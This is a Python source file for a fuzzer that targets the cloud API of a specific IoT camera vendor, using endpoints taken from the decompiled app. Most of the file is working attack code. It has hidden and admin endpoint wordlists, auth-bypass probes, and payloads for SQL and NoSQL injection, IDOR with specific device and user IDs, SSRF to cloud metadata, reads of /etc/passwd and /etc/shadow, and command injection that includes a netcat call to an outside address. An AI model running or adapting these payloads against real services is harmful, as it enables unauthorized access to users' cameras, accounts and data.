"""API endpoint fuzzer — discovers hidden endpoints and tests auth/param vulnerabilities""" import json import time import threading import urllib.request import urllib.error from utils.log import log, C_SUCCESS, C_ERROR, C_INFO, C_TRAFFIC, C_IMPORTANT # Known endpoints harvested from decompiled UBox APK (146 confirmed) KNOWN_ENDPOINTS = [ "account_link", "activate_subscription_paypal", "addOrder", "alipaySign", "alipayVerify", "app/customer_support_info", "app/getconfig", "app/getSupportInfoV2", "app/info", "app/push_channel_reg", "app/version_check", "captcha", "capture_paypal_order", "create_payment_paypal_app", "email_user_candidates", "interface", "interface.php", "ip2region", "ip2region_parse", "lgc/bind_err", "login_openauth", "mobile-info", "mt/biz/alipaySign", "mt/biz/card_service_add_order", "mt/biz/card_service_list", "mt/biz/uid_service_add_order", "mt/biz/uid_service_list", "mt/biz/uid_service_order_list", "mt-login", "mt/logout", "mt/orc-import", "mt/unbind", "old", "pub/app/customer_support_info/v2", "pub/app/get_multi_language_contents", "pub/location/get_location_codes", "pub/location/rev_geocoding", "pub/usersupport/get_guest_im_file_url", "pub/usersupport/get_guest_im_info", "pub/usersupport/get_guest_session", "pub/usersupport/get_im_groups_user_unread_count", "pub/usersupport/get_staff_avatar_url", "pub/usersupport/put_guest_im_file", "push-ack", "reset_pwd", "send_code", "service_list", "share_permissions", "temp_token", "ticket_title", "user/account/add_location", "user/account/get_current_user", "user/account_link", "user/alexa_account_status", "user/auth", "user/auth-email", "user/card4g-info", "user/card4g_info", "user/card4g-order-add", "user/card4g-packages", "user/card/card4g_info/v2", "user/card/unlock", "user/check_version", "user/cloud_list", "user/cloudvideo/put_event_tag", "user/confirm_ptz_snap", "user/del_ptz_snap", "user/device-add", "user/device-add-token", "user/device-alexa", "user/device-alexa-ust", "user/device_del", "user/device_edit", "user/device-extra-update", "user/device/get_apn_info", "user/device/get_binding_info", "user/device/get_dev_diag_help_doc", "user/device_list", "user/device/list_ordering", "user/device-notice-setting", "user/device/share", "user/device/share_do/v2", "user/device-share-info", "user/device_shares", "user/device_share_tbc", "user/device-share-update", "user/device-temp-token", "user/device/try_fix_for_add_4g_device", "user/device_unshare", "user/email_user_candidates", "user/event_calendar", "user/event_do", "user/faceId", "user/families", "user/family", "user/friend", "user/friends", "user/get_cloud_video_url", "user/get_devices_dynamic_info", "user/get_ptz_snap", "user/logout", "user/modify_pwd", "user/notice_type", "user/noti/device/info_changed", "user/online_service", "user/order_add", "user/order/card4g_order_create_dev_noadd", "user/order/order_add/v2", "user/product_info", "user/product_purchasable", "user/purchase/card4g_packages_dev_noadd", "user/push_channel_update", "user/put_ptz_snap", "user/qry/aggregate/app_on_switch_foreground", "user/qry/device/add_help_doc", "user/qry/device/bind_issue", "user/qry/device/check_version/v3", "user/qry/device/device_services", "user/qry/device/info_for_add", "user/qry/device/query_add_result", "user/qry/notification/detail", "user/qry/notification/get", "user/qry/order/list/v2", "user/qry/purchase/4g_packages_dev_noadd", "user/qry/purchase/4g_packages/v3", "user/qry/purchase/product_list", "user/revoke", "user/service_trial", "user/update_friend_remark", "user/update_user_info", "user/upgrade_order", "user/usersupport/get_app_user_im_group", "user/usersupport/get_app_user_im_groups", "user/usersupport/get_app_user_im_session", "user/usersupport/get_app_user_im_token", "user/usersupport/get_im_file_url", "user/usersupport/get_im_groups_info", "user/usersupport/get_issue_type_and_dev_light_state", "user/usersupport/put_im_file", "v2/user/device_list", "v2/user/get_devices_info", "v3/login", "valid_code", "wxpay", "wxpay_check", ] # Wordlist for endpoint discovery ENDPOINT_WORDLIST = [ # ── User management ────────────────────────────── "user/info", "user/profile", "user/settings", "user/delete", "user/update", "user/list", "user/devices", "user/sessions", "user/tokens", "user/permissions", "user/roles", "user/admin", "user/logout", "user/register", "user/verify", "user/activate", "user/deactivate", "user/ban", "user/unban", "user/search", "user/export", "user/import", "user/backup", "user/restore", "user/avatar", "user/nickname", "user/email", "user/phone", "user/password", "user/change_password", "user/modify_password", "user/reset_password", "user/forgot_password", "user/notification", "user/notifications", "user/notice", "user/message", "user/messages", "user/inbox", "user/subscription", "user/subscriptions", "user/plan", "user/billing", "user/payment", "user/order", "user/orders", "user/coupon", "user/coupons", "user/invite", "user/referral", "user/feedback", "user/report", "user/ticket", "user/tickets", "user/log", "user/logs", "user/activity", "user/history", "user/preferences", "user/config", "user/token", "user/refresh_token", "user/access_token", "user/third_party", "user/bind", "user/unbind", "user/wechat", "user/facebook", "user/google", "user/apple", # ── User + device compound paths (ubox pattern) ── "user/device/list", "user/device/add", "user/device/del", "user/device/remove", "user/device/bind", "user/device/unbind", "user/device/share", "user/device/unshare", "user/device/transfer", "user/device/rename", "user/device/info", "user/device/config", "user/device/settings", "user/device/status", "user/device/online", "user/device/offline", "user/device/reboot", "user/device/reset", "user/device/upgrade", "user/device/firmware", "user/device/command", "user/device/control", "user/device/snapshot", "user/device/capture", "user/device/recording", "user/device/playback", "user/device/event", "user/device/events", "user/device/alarm", "user/device/alarms", "user/device/alert", "user/device/alerts", "user/device/log", "user/device/logs", "user/device/stream", "user/device/live", "user/device/video", "user/device/audio", "user/device/speaker", "user/device/ptz", "user/device/pan", "user/device/tilt", "user/device/zoom", "user/device/preset", "user/device/motion", "user/device/detection", "user/device/sensitivity", "user/device/schedule", "user/device/wifi", "user/device/network", "user/device/sd", "user/device/sdcard", "user/device/storage", "user/device/format", "user/device/format_sd", "user/device/led", "user/device/ir", "user/device/night_vision", "user/device/osd", "user/device/time", "user/device/timezone", "user/device/battery", "user/device/power", "user/device/sim", "user/device/4g", "user/device/signal", "user/device/iccid", "user/device/imei", # ── Query paths (ubox pattern: user/qry/) ──────── "user/qry/device/list", "user/qry/device/info", "user/qry/device/status", "user/qry/device/config", "user/qry/device/firmware", "user/qry/device/version", "user/qry/device/check_version", "user/qry/device/check_version/v2", "user/qry/device/events", "user/qry/device/alarms", "user/qry/device/logs", "user/qry/device/recordings", "user/qry/device/cloud_videos", "user/qry/device/snapshots", "user/qry/device/battery", "user/qry/device/signal", "user/qry/device/network", "user/qry/device/wifi", "user/qry/device/storage", "user/qry/device/sd", "user/qry/device/sim", "user/qry/device/4g", "user/qry/user/info", "user/qry/user/devices", "user/qry/user/subscriptions", "user/qry/user/orders", # ── Versioned endpoints ────────────────────────── "v1/login", "v2/login", "v4/login", "v1/user/device_list", "v3/user/device_list", "v1/user/families", "v2/user/families", "v3/user/families", "v1/user/cloud_list", "v3/user/cloud_list", "v2/user/check_version", "v3/user/check_version", "v1/user/event_calendar", "v2/user/event_calendar", "v2/user/qry/device/device_services", "v3/user/qry/device/device_services", "v2/user/qry/device/check_version/v3", # ── Device (direct) ────────────────────────────── "device/list", "device/info", "device/config", "device/settings", "device/firmware", "device/update", "device/reboot", "device/reset", "device/logs", "device/events", "device/status", "device/command", "device/stream", "device/snapshot", "device/recording", "device/share", "device/unshare", "device/transfer", "device/debug", "device/shell", "device/telnet", "device/ssh", "device/console", "device/terminal", "device/exec", "device/control", "device/ioctrl", "device/iotctrl", "device/p2p", "device/connect", "device/disconnect", "device/wakeup", "device/sleep", "device/standby", "device/register", "device/unregister", "device/provision", "device/activate", "device/deactivate", "device/ota", "device/ota/check", "device/ota/download", "device/ota/status", "device/ota/history", # ── Admin ──────────────────────────────────────── "admin/users", "admin/devices", "admin/logs", "admin/config", "admin/stats", "admin/dashboard", "admin/system", "admin/debug", "admin/firmware", "admin/update", "admin/backup", "admin/restore", "admin/login", "admin/panel", "admin/console", "admin/user/list", "admin/user/create", "admin/user/delete", "admin/device/list", "admin/device/config", "admin/device/firmware", "admin/audit", "admin/audit/log", "admin/security", "admin/api/keys", "admin/api/tokens", "admin/api/stats", "admin/cloud/config", "admin/cloud/keys", "admin/cloud/storage", "admin/ota/upload", "admin/ota/list", "admin/ota/deploy", "admin/push", "admin/notification", "admin/broadcast", "manage/users", "manage/devices", "manage/firmware", "management/users", "management/devices", "internal/users", "internal/devices", "internal/debug", "internal/config", "internal/health", "internal/metrics", # ── System / infra ─────────────────────────────── "system/info", "system/version", "system/health", "system/status", "system/config", "system/debug", "system/logs", "system/metrics", "system/time", "system/restart", "system/shutdown", # ── Firmware / OTA ─────────────────────────────── "firmware/list", "firmware/download", "firmware/upload", "firmware/latest", "firmware/check", "firmware/update", "firmware/history", "firmware/rollback", "firmware/versions", "ota/check", "ota/download", "ota/status", "ota/list", "ota/upload", "ota/deploy", "ota/history", "ota/config", # ── Cloud / storage ────────────────────────────── "cloud/config", "cloud/status", "cloud/keys", "cloud/storage", "cloud/video", "cloud/events", "cloud/upload", "cloud/download", "cloud/list", "cloud/delete", "cloud/share", "cloud/token", "cloud/subscription", "cloud/plan", "cloud/usage", "storage/list", "storage/upload", "storage/download", "storage/delete", "storage/quota", "storage/usage", # ── Push / notification ────────────────────────── "push/config", "push/send", "push/test", "push/token", "push/register", "push/unregister", "push/channels", "notification/list", "notification/send", "notification/config", "notification/test", "notification/token", # ── P2P / streaming ────────────────────────────── "p2p/config", "p2p/server", "p2p/relay", "p2p/status", "p2p/connect", "p2p/disconnect", "p2p/session", "p2p/sessions", "p2p/token", "p2p/auth", "stream/start", "stream/stop", "stream/status", "stream/config", "stream/token", "stream/url", "rtsp/config", "rtsp/url", "rtsp/token", "live/start", "live/stop", "live/status", "live/url", # ── AI / detection ─────────────────────────────── "ai/config", "ai/status", "ai/detect", "ai/face", "ai/person", "ai/motion", "ai/object", "ai/model", "ai/train", "ai/results", "ai/history", "detection/config", "detection/zones", "detection/sensitivity", "detection/schedule", "detection/history", # ── SIM / 4G ───────────────────────────────────── "sim/info", "sim/status", "sim/activate", "sim/deactivate", "sim/data", "sim/usage", "sim/plan", "sim/recharge", "sim/config", "sim/apn", "sim/carrier", "4g/info", "4g/status", "4g/signal", "4g/config", "card4g-info", "user/card4g-info", "v3/user/card4g-info", # ── Payment / billing ──────────────────────────── "pay/order", "pay/orders", "pay/create", "pay/callback", "pay/verify", "pay/refund", "pay/status", "pay/subscription", "pay/subscriptions", "pay/products", "pay/plans", "pay/pricing", "billing/info", "billing/history", "billing/invoice", # ── Auth / OAuth ───────────────────────────────── "auth/token", "auth/refresh", "auth/verify", "auth/revoke", "auth/login", "auth/logout", "auth/register", "auth/password", "auth/reset", "auth/code", "oauth/authorize", "oauth/token", "oauth/callback", "oauth/revoke", "oauth/userinfo", "sso/login", "sso/callback", "sso/logout", # ── Geographic / location ──────────────────────── "pub/location/geocoding", "pub/location/search", "pub/location/timezone", "pub/location/weather", "location/config", "location/geo", "location/address", "query-zid", "query_zid", "get_zone", # ── Misc / discovery ───────────────────────────── "ping", "health", "healthz", "ready", "readyz", "version", "info", "about", "debug", "test", "echo", "status", "config", "metrics", "prometheus", "swagger", "swagger.json", "swagger.yaml", "docs", "api-docs", "api-doc", "redoc", "openapi", "openapi.json", "openapi.yaml", ".env", "robots.txt", "sitemap.xml", "favicon.ico", ".git/config", ".git/HEAD", "wp-login.php", "graphql", "graphiql", "playground", "websocket", "ws", "socket.io", # ── UBIA-specific guesses ──────────────────────── "pub/app/config", "pub/app/version", "pub/app/update", "pub/device/config", "pub/device/version", "pub/firmware/latest", "pub/firmware/list", "pub/notice", "pub/announcement", "pub/banner", "app/config", "app/version", "app/update", "app/feedback", "mt-login", "mt-device", "mt-config", "bind_wechat", "unbind_wechat", "user/get_notification", "user/set_notification", "user/get_push_token", "user/set_push_token", "user/get_privacy", "user/set_privacy", "user/get_cloud_config", "user/set_cloud_config", "user/get_ai_config", "user/set_ai_config", "user/get_detection_config", "user/set_detection_config", "user/get_schedule", "user/set_schedule", "user/get_timezone", "user/set_timezone", "user/get_device_config", "user/set_device_config", "user/get_stream_config", "user/set_stream_config", "user/get_rtsp_url", "user/get_p2p_config", "user/get_firmware_url", "user/get_ota_url", "user/get_device_log", "user/get_crash_log", "user/upload_log", "user/upload_crash", "user/get_cloud_key", "user/get_cloud_secret", "user/get_push_config", "user/set_push_config", "user/reply_get_notification", "user/device_share_list", "user/device_share_add", "user/device_share_del", "user/device_share_accept", "user/device_share_reject", "user/family/add", "user/family/del", "user/family/update", "user/family/list", "user/family/members", "user/family/invite", "user/family/remove_member", ] # Parameter mutation payloads PARAM_MUTATIONS = { "auth_bypass": [ {}, {"admin": True}, {"role": "admin"}, {"is_admin": 1}, {"debug": True}, {"test": True}, {"internal": True}, {"bypass": True}, {"token": "admin"}, {"user_type": "admin"}, {"privilege": 9999}, {"level": 0}, {"auth": "none"}, {"skip_auth": True}, ], "sqli": [ {"device_uid": "' OR '1'='1"}, {"device_uid": "\" OR \"1\"=\"1"}, {"device_uid": "'; DROP TABLE users; --"}, {"account": "admin'--"}, {"account": "' UNION SELECT * FROM users--"}, {"device_uid": "1; WAITFOR DELAY '0:0:5'--"}, {"device_uid": "1' AND SLEEP(5)--"}, {"account": "admin' AND '1'='1"}, {"password": "' OR '1'='1"}, {"device_uid": "' UNION SELECT username,password FROM users--"}, {"page": "1; DROP TABLE devices--"}, {"device_uid": "1' ORDER BY 100--"}, ], "nosql": [ {"device_uid": {"$gt": ""}}, {"device_uid": {"$ne": ""}}, {"device_uid": {"$regex": ".*"}}, {"account": {"$gt": ""}}, {"password": {"$ne": "invalid"}}, {"$where": "1==1"}, {"device_uid": {"$exists": True}}, {"account": {"$in": ["admin", "root", "test"]}}, ], "idor": [ {"device_uid": "AAAAAAAAAAAAAAAAAAAAAA"}, {"device_uid": "../../../etc/passwd"}, {"device_uid": "0"}, {"device_uid": "-1"}, {"device_uid": "1"}, {"user_id": "1"}, {"user_id": "0"}, {"user_id": "-1"}, {"kuid": "1"}, {"kuid": "1000000000"}, {"kuid": "1006072344"}, {"uuid": "admin"}, {"family": 1}, {"family_id": "1"}, {"id": 1}, {"id": 0}, {"device_uid": "AAAAAAAAAAAAAAAAAAAA"}, {"device_uid": "J7HYJJFFFXRDKBYGPVR0"}, {"device_uid": "J7HYJJFFFXRDKBYGPVR1"}, ], "overflow": [ {"device_uid": "A" * 500}, {"device_uid": "A" * 10000}, {"device_uid": "A" * 100000}, {"page": 999999}, {"page": -1}, {"page": 0}, {"count": -1}, {"count": 0}, {"count": 999999}, {"page_num": 2147483647}, {"zone_id": 2147483647}, {"zone_id": -2147483648}, {"device_uid": "\x00" * 100}, {"account": "A" * 10000}, ], "type_confusion": [ {"device_uid": 12345}, {"device_uid": True}, {"device_uid": False}, {"device_uid": None}, {"device_uid": []}, {"device_uid": [1, 2, 3]}, {"device_uid": {"key": "value"}}, {"device_uid": 0}, {"device_uid": -1}, {"device_uid": 1.5}, {"page": "abc"}, {"page": True}, {"page": None}, {"page": []}, {"count": "all"}, {"zone_id": "global"}, ], "path_traversal": [ {"device_uid": "../../etc/passwd"}, {"device_uid": "..\\..\\etc\\passwd"}, {"device_uid": "%2e%2e%2f%2e%2e%2fetc%2fpasswd"}, {"device_uid": "....//....//etc/passwd"}, {"file": "/etc/passwd"}, {"file": "/etc/shadow"}, {"path": "/proc/self/environ"}, {"url": "file:///etc/passwd"}, {"filename": "../../../etc/passwd"}, ], "ssrf": [ {"url": "http://127.0.0.1"}, {"url": "http://localhost"}, {"url": "http://169.254.169.254/latest/meta-data/"}, {"url": "http://[::1]"}, {"url": "http://0.0.0.0"}, {"callback_url": "http://127.0.0.1:8080"}, {"webhook": "http://localhost:9090"}, {"firmware_url": "http://127.0.0.1/evil.bin"}, ], "xss_ssti": [ {"device_uid": ""}, {"name": ""}, {"device_uid": "{{7*7}}"}, {"device_uid": "${7*7}"}, {"device_uid": "<%=7*7%>"}, {"name": "{{config}}"}, {"name": "${env}"}, ], "command_injection": [ {"device_uid": "; id"}, {"device_uid": "| id"}, {"device_uid": "$(id)"}, {"device_uid": "`id`"}, {"device_uid": "; cat /etc/passwd"}, {"device_uid": "| nc 192.168.1.172 4444"}, {"name": "; whoami"}, {"wifi_ssid": "test'; ping -c1 192.168.1.172; '"}, {"firmware_url": "http://x/$(id)"}, ], "format_string": [ {"device_uid": "%s%s%s%s%s"}, {"device_uid": "%x%x%x%x"}, {"device_uid": "%n%n%n%n"}, {"device_uid": "%p%p%p%p"}, {"name": "%s" * 50}, ], "null_byte": [ {"device_uid": "valid\x00admin"}, {"device_uid": "J7HYJJFFFXRDKBYGPVRA\x00.txt"}, {"account": "admin\x00@evil.com"}, {"file": "image.jpg\x00.php"}, ], "unicode": [ {"device_uid": "\uff41\uff44\uff4d\uff49\uff4e"}, {"account": "admin\u200b@test.com"}, {"device_uid": "\u0000\u0001\u0002"}, {"name": "\ud800"}, ], "large_json": [ {"a": "b" * 100000}, dict([(f"key_{i}", f"val_{i}") for i in range(1000)]), {"nested": {"a": {"b": {"c": {"d": {"e": "deep"}}}}}}, ], } class Fuzzer: def __init__(self, cfg): self.cfg = cfg self.results = [] self.running = False self._lock = threading.Lock() def _post(self, endpoint, data, token=None, timeout=5): url = f"{self.cfg['api_base']}/{endpoint}" body = json.dumps(data).encode("utf-8") req = urllib.request.Request(url, data=body, method="POST") req.add_header("Content-Type", "application/json") req.add_header("X-UbiaAPI-CallContext", "source=app&app=ubox&ver=1.1.360&osver=14") if token: req.add_header("X-Ubia-Auth-UserToken", token) try: with urllib.request.urlopen(req, timeout=timeout) as resp: code = resp.getcode() body = resp.read().decode("utf-8", errors="replace")[:500] return code, body except urllib.error.HTTPError as e: body = e.read().decode("utf-8", errors="replace")[:500] return e.code, body except Exception as e: return 0, str(e) def _add_result(self, endpoint, method, status, note, response=""): with self._lock: self.results.append({ "endpoint": endpoint, "method": method, "status": status, "note": note, "response": response[:300], }) def _parse_app_code(self, body): """Extract the application-level code from JSON response body. UBIA API always returns HTTP 200 — real status is in {"code": N}""" try: data = json.loads(body) return data.get("code", -1), data except: return -1, {} def fuzz_endpoints(self): """Discover hidden API endpoints""" self.running = True log("FUZZ: starting endpoint discovery...", C_INFO) token = self.cfg["api_token"] delay = self.cfg.get("fuzzer_delay", 0.2) all_endpoints = list(set(KNOWN_ENDPOINTS + ENDPOINT_WORDLIST)) total = len(all_endpoints) for i, ep in enumerate(all_endpoints): if not self.running: break # Try with auth code, body = self._post(ep, {}, token) if code == 0: continue # connection error elif code == 404: continue # not found elif code == 200: app_code, parsed = self._parse_app_code(body) if app_code == 0: # Real success log(f"FUZZ: [{code}] {ep} — FOUND (app_code=0)", C_IMPORTANT) self._add_result(ep, "POST", code, "accessible", body) # Now test without auth code2, body2 = self._post(ep, {}, None) app_code2, _ = self._parse_app_code(body2) if app_code2 == 0: log(f"FUZZ: [{code2}] {ep} — REAL NO AUTH BYPASS!", C_IMPORTANT) self._add_result(ep, "POST_NOAUTH", code2, "NO_AUTH_CONFIRMED", body2) elif app_code2 != 10004: log(f"FUZZ: [{code2}] {ep} — unusual no-auth response: code={app_code2}", C_TRAFFIC) self._add_result(ep, "POST_NOAUTH", code2, f"noauth_code_{app_code2}", body2) elif app_code == 10004: # Token rejected even with our valid token — interesting log(f"FUZZ: [{code}] {ep} — exists but token rejected", C_TRAFFIC) self._add_result(ep, "POST", code, "token_rejected", body) elif app_code == 10001: # Invalid params — endpoint exists log(f"FUZZ: [{code}] {ep} — FOUND (needs params)", C_TRAFFIC) self._add_result(ep, "POST", code, "needs_params", body) else: log(f"FUZZ: [{code}] {ep} — app_code={app_code}", C_TRAFFIC) self._add_result(ep, "POST", code, f"app_code_{app_code}", body) elif code == 405: log(f"FUZZ: [{code}] {ep} — wrong method", C_TRAFFIC) self._add_result(ep, "POST", code, "method_not_allowed", body) else: log(f"FUZZ: [{code}] {ep}", 0) self._add_result(ep, "POST", code, f"http_{code}", body) if (i + 1) % 50 == 0: log(f"FUZZ: progress {i+1}/{total}", C_INFO) time.sleep(delay) log(f"FUZZ: endpoint scan done — {len(self.results)} results", C_SUCCESS) self.running = False def fuzz_params(self, endpoint): """Test parameter mutations on a specific endpoint""" self.running = True log(f"FUZZ: parameter fuzzing on {endpoint}...", C_INFO) token = self.cfg["api_token"] delay = self.cfg.get("fuzzer_delay", 0.1) for category, payloads in PARAM_MUTATIONS.items(): if not self.running: break log(f"FUZZ: testing {category}...", C_INFO) for payload in payloads: if not self.running: break code, body = self._post(endpoint, payload, token) note = f"{category}: {json.dumps(payload)[:80]}" if code == 200: log(f"FUZZ: [{code}] {note} — ACCEPTED", C_IMPORTANT) elif code == 500: log(f"FUZZ: [{code}] {note} — SERVER ERROR!", C_IMPORTANT) else: log(f"FUZZ: [{code}] {note}", C_TRAFFIC) self._add_result(endpoint, category, code, note, body) time.sleep(delay) log(f"FUZZ: param fuzzing done", C_SUCCESS) self.running = False def fuzz_auth(self): """Test authentication bypass techniques""" self.running = True log("FUZZ: testing auth bypass...", C_INFO) delay = self.cfg.get("fuzzer_delay", 0.2) test_endpoints = ["user/device_list", "v2/user/device_list", "user/families"] tests = [ ("no_token", None), ("empty_token", ""), ("invalid_token", "invalidtoken123"), ("expired_format", "xxxx1234567890abcdef"), ("sql_token", "' OR '1'='1"), ("null_byte", "valid\x00admin"), ("long_token", "A" * 1000), ] for ep in test_endpoints: if not self.running: break for test_name, token_val in tests: if not self.running: break code, body = self._post(ep, {}, token_val) app_code, _ = self._parse_app_code(body) if code == 200 and app_code == 0: log(f"FUZZ: AUTH BYPASS! [{code}] {ep} with {test_name} (app_code=0!)", C_IMPORTANT) elif code == 200 and app_code != 10004: log(f"FUZZ: [{code}] {ep} {test_name} app_code={app_code}", C_TRAFFIC) else: log(f"FUZZ: [{code}] {ep} {test_name} — rejected", 0) self._add_result(ep, f"auth_{test_name}", code, f"{test_name}_appcode_{app_code}", body) time.sleep(delay) log("FUZZ: auth bypass testing done", C_SUCCESS) self.running = False def stop(self): self.running = False def save_results(self, path=None): path = path or f"{self.cfg['log_dir']}/fuzz_results_{int(time.time())}.json" with open(path, "w") as f: json.dump(self.results, f, indent=2) log(f"FUZZ: results saved to {path}", C_SUCCESS) return path